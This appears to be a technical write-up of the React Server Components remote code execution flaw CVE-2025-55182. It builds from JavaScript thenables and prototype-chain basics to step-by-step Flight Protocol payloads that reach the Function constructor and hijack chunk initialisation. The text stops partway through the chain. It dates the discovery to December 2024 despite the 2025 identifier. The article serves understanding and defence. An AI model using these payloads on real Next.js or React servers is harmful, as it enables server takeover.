Introduction

In December 2024, a critical Remote Code Execution (RCE) vulnerability was discovered in React Server Components, affecting applications built with Next.js and other frameworks using React's Server Functions. This vulnerability, tracked as CVE-2025–55182, allowed attackers to execute arbitrary code on the server by exploiting weaknesses in React's Flight Protocol deserialization process.

This article provides a comprehensive technical breakdown of the vulnerability, starting from fundamental JavaScript concepts to the complete exploitation chain.

Prerequisites: Essential Concepts

Before diving into the vulnerability, let's establish the foundational knowledge needed to understand how this exploit works.

1. Duck Typing in JavaScript

JavaScript uses "duck typing" — if something walks like a duck and quacks like a duck, JavaScript treats it as a duck. This principle is crucial for understanding Promises.

JavaScript doesn't check if an object is actually a Promise. It only checks if the object has a .then() method. If it does, JavaScript treats it as a "thenable" (promise-like object).

// This is NOT a real Promise, but JavaScript treats it like one
const fakePromise = {
then: function(resolve, reject) {
console.log("I'm being called!");
resolve("Done!");
}
};
// When you await it, JavaScript automatically calls .then()
await fakePromise; // Logs: "I'm being called!"

Why This Matters: Attackers can create malicious objects with a .then() method that gets automatically executed when the object is awaited.

2. Prototype Chain in JavaScript

Every JavaScript object has a prototype chain that allows property lookup:

const obj = { name: "apple" };

// Direct property access
obj.name;  // "apple"

// Prototype chain access
obj.__proto__;  // Object.prototype
obj.__proto__.constructor;  // Object constructor
obj.__proto__.constructor.constructor;  // Function constructor

// The Function constructor can create functions from strings:
const maliciousCode = "console.log('Hacked!')";
const func = Function(maliciousCode);
func();  // Executes the code!

Security Implication: If attackers can traverse the prototype chain and reach Function.constructor, they can create arbitrary functions.

3. Server Functions

React Server Components introduced "Server Functions" — a way for client-side code to call server-side functions as if they were local. Think of it as RPC (Remote Procedure Call) over HTTP.

4. React Flight Protocol

To communicate between client and server, React uses the "Flight Protocol" — a custom serialization format that can represent complex JavaScript values including:

  • Objects and arrays: Standard JavaScript data structures
  • Dates and special types: Built-in JavaScript types with special serialization
  • References between chunks: Ability to reference data in other chunks
  • Promises and lazy values: Asynchronous data loading support
  • React elements and components: Serialize React elements (JSX) and component references.

The Flight Protocol works by splitting data into "chunks" numbered segments that can reference each other. This allows efficient transmission of complex, interconnected data structures.

4.1 Chunk Reference Syntax

The Flight Protocol uses special prefixes to denote different types of references:

1. Resolved Value Reference

files = {
    "0": '["$1"]',                    // Chunk 0: Array referencing chunk 1
    "1": '{"fruit":"cherry"}',        // Chunk 1: Object with data
}

Deserialization process:

  1. Parse chunk 1: {fruit: "cherry"}
  2. Parse chunk 0: ["$1"]
  3. Replace $1 with chunk 1's value
  4. Final result: [{"fruit":"cherry"}]

2. Property Access

files = {
    "0": '["$1:fruit"]',              // Reference the "fruit" property of chunk 1
    "1": '{"fruit":"cherry","color":"red"}',
}

Deserialization process:

1. Parse chunk 1: {fruit: "cherry", color: "red"}

2. Parse chunk 0: ["$1:fruit"]

3. Resolve $1:fruit → chunk1.fruit → "cherry"

4. Final result: ["cherry"]

3. Nested Property Access

files = {
    "0": '["$1:user:address:city"]',  // Deep property access
    "1": '{"user":{"name":"Alice","address":{"city":"NYC","zip":"10001"}}}',
}

Deserialization process:

1. Parse chunk 1

2. Resolve $1:user:address:city

Start with chunk 1

Access .user → {name: "Alice", address: {…}}

Access .address → {city: "NYC", zip: "10001"}

Access .city → "NYC"

3. Final result: ["NYC"]

4. Raw Chunk Object Reference

This is special and critical to the exploit. Instead of returning the deserialized value, $@ returns the internal Chunk wrapper object that React uses internally.

// Normal reference ($1):
files = {
    "0": '["$1"]',
    "1": '{"data":"value"}',
}
// Returns: [{"data":"value"}]  // The VALUE

// Raw chunk reference ($@1):
files = {
    "0": '["$@1"]',
    "1": '{"data":"value"}',
}
// Returns: [Chunk {...}]  // The CHUNK WRAPPER OBJECT

The $@ syntax exposes React's internal Chunk structure, which has properties like:

  • status: The chunk's lifecycle state ("pending", "resolved_model", etc.)
  • value: The raw string data
  • _response: The deserialization context
  • then(): A method that makes chunks thenable (Promise-like)

Exploitation Chain: Step-by-Step RCE

Now let's walk through the complete exploitation chain that leads to Remote Code Execution.

Phase 1: Gaining Access to Function Constructor

Payload:

files = {
    "0": '["$1:__proto__:constructor:constructor"]',
    "1": '{"x":1}',
}

Explaination:

  • Chunk 0 references chunk 1's property path:__proto__:constructor:constructor
  • Starting from {"x":1}:

obj.__proto__ → Object.prototype

Object.prototype.constructor → Object constructor

  • Object.prototype.constructor.constructor → Function constructor

Result: Chunk 0 resolves to the Function constructor

Phase 2: Understanding the Challenge

At this point, we can access the Function constructor, but we face a problem: how do we invoke it with controlled input?The key insight is using JavaScript's automatic .then() invocation when object`s status is resolved . If we can make our payload return an object with a .then() property that:

  • Gets automatically called by JavaScript
  • Executes our malicious code
  • Does so in a controlled manner

Then we achieve RCE. However, we need to understand React's internal Chunk mechanism to make this work properly.

Phase 3: React's Internal Chunk Structure

React internally wraps all chunks in a Chunk class that implements the thenable protocol:

// Simplified React Chunk implementation
class Chunk {
    constructor(value) {
        this.status = "pending";          // Lifecycle: pending, resolved_model, resolved, rejected
        this.value = value;                // Raw string data from the chunk
        this._response = responseContext;  // Deserialization context
    }
    
    // This method makes Chunks awaitable (thenable)
    then(resolve, reject) {
        switch (this.status) {
            case "resolved_model":
                // When status is "resolved_model", trigger special processing
                initializeModelChunk(this);
                break;
            case "pending":
                // Queue the callbacks until chunk resolves
                if (this.value === null) {
                    this.value = [resolve, reject];
                }
                break;
            case "resolved":
                // Already resolved, call resolve immediately
                resolve(this.value);
                break;
            case "rejected":
                // Already rejected, call reject immediately
                reject(this.reason);
                break;
        }
    }
}

Critical Observation: If we can create a chunk with status: "resolved_model" and make its .then property point to Chunk.prototype.then, we can trigger initializeModelChunk() with our controlled data!

Phase 4: Self-Referencing Chunks

This is where the exploit gets clever. The key insight was to use $@ references to create self-referencing chunks.The $@0 reference returns the Chunk wrapper object for chunk 0, not its deserialized value. This Chunk wrapper has a prototype chain that includes Chunk.prototype, which has the then() method we saw above.

The Exploit Payload:

files = {
    "0": '{"then": "$1:__proto__:then", "status": "resolved_model"}',
    "1": '"$@0"',
}
  • We've made chunk 0's .then point to React's internal Chunk.prototype.then
  • We've set chunk 0's status to "resolved_model"
  • JavaScript automatically calls chunk0.then()
  • This triggers initializeModelChunk(chunk0) with our controlled chunk
  • Now we control the execution flow inside React's internal processing!

Phase 5: Hijacking initializeModelChunk

By reaching initializeModelChunk, we gain access to a second round of deserialization where we have even more control:

function initializeModelChunk(chunk) {
    // Extract the raw string value
    var resolvedModel = chunk.value;
    
    // Parse it as JSON
    var rawModel = JSON.parse(resolvedModel);
    
    // Resolve references AGAIN, using chunk._response as context
    var value = reviveModel(chunk._response, {"": rawModel}, "", rawModel);
    
    // Return the processed value
    return value;
}

Key Points:

  • chunk.value is parsed as JSON — we control this string
  • The parsed object goes through reference resolution again
  • We control chunk._response which provides the context for reference resolution
  • This second round of processing is where we inject our malicious payload

Updated Payload:

files = {
    "0": {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,  // Technical detail to avoid errors
        "value": '{"then": "$B0"}',  // This gets parsed in initializeModelChunk
        "_response": {
            // We'll craft this to control $B0 resolution
        }
    },
    "1": '"$@0"',
}

Execution Flow:

  1. await chunk0 → calls Chunk.prototype.then
  2. Status check passes since "status": "resolved_model"→ calls initializeModelChunk(chunk0)
  3. Parses chunk0.value: '{"then": "$B0"}' → {then: "$B0"}
  4. Resolves references in the new object

Must resolve $B0 using our crafted _response context

Phase 6: Exploiting Blob Deserialization ($B prefix)

The Flight Protocol has a special handler for blob/binary data using the $B prefix:

case "B":
    // Extract the number after B (in hexadecimal)
    var blobId = parseInt(value.slice(2), 16);
    
    // Get from FormData using prefix + id
    return response._formData.get(response._prefix + blobId);

For $B0:

  1. Extract ID: parseInt("0", 16) = 0
  2. Build key: response._prefix + "0"

Call: response._formData.get(key)